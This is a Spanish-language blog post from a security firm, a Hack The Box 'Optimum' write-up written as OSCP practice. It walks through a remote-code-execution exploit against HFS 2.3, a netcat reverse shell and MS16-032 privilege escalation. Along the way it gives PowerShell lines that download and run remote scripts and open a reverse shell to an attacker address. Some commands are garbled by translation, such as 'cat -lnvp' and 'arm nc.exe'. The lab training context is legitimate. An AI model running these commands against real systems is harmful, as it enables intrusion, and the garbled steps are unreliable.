Road to OSCP - Hack The Box Write Up - Optimum

Blog

10
- Oct
2019
Road to OSCP - Hack The Box Write Up - Optimum

Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.

En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.

¡Empecemos con la diversión!

Optimum

Initial Foothold

Hay un HTTP File Server (HFS) versión 2.3 en el puerto 80. Haciendo searchsploit HFS encontramos uno con RCE para la versión 2.3.x.

Usuario

  1. Refleja el exploit: searchsploit -m 39161.py.
  2. Renombrarlo: mv 39161.py hts.py.
  3. Iniciar el puerto escucha: cat -lnvp 12345.
  4. Modifica el exploit para que coincida con nuestra dirección IP local y el puerto 12345.
  5. Descargar nc para windows: wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip.
  6. unzip netcat-win32-1.11.zip el archivo y cd al directorio.
  7. (IMPORTANTE) Reemplaza cnc.exe por el binario de 64 bits: arm nc.exe y mv nc64.exe nc.exe.
  8. Arrancar y servidor http en el puerto 80: python3 -m http.server 80
  9. Ejecuta el exploit dos veces: python3 10.10.10.8 80.
  10. Nuestro ncat de escucha debería haber cogido una shell.

Root

Actualiza a Powershell, consulta CMD. Desde allí, podemos descargar Sherlock.ps1 para comprobar rápidamente los diferentes CVEs. Mientras que Watson es mejor, sólo soporta Windows Server 2016 y 2019.

Parece que es vulnerable al MS16-032.

Si usamos el de Exploit-db, dice que funciona pero que no genera una shell. Aparentemente... Intenté crear una terminal gráfica, así que no funciona.

Hay una versión modificada del guión en Powershell-empire. Añade la siguiente línea al final: Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.31:8000/shell.ps1')"

Shell.ps1 también viene de Powershell-empire que es: usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1. Añade esta línea al final: Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 6969

Configura un servidor http de Python: python3 -m http.server. (El puerto por defecto es el puerto 8000).

Configurar un puerto de escucha: ncat -lnvp 6969.

Finalmente, en la ejecución de la víctima: IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31:8000/Invoke-MS16032.ps1')

Ángel Guzmán/Evaluador Junior

Grado y Master en Ingeniería de Tecnologías de Telecomunicación por la Universidad de Granda, especializado en telématica. Se unió a jtsec en noviembre de 2019 como evaluador de ciberseguridad Junior.

Desde su unión a jtsec, ha participado en varios proyectos internos de hardware hacking y ha recibido formación sobre la certificación LINCE.

Su principal motivación es aprender, desde pequeñas herramientas para su trabajo diario hasta nuevas tecnologías.


Contacto

¡Envíanos tus dudas o sugerencias!

Al enviar tus datos nos permites que los usemos para resolver tus dudas enviándote información comercial de tu interés. Los suprimiremos cuando dejen de ser necesarios para esto. Infórmate de tus derechos en nuestra Política de Privacidad.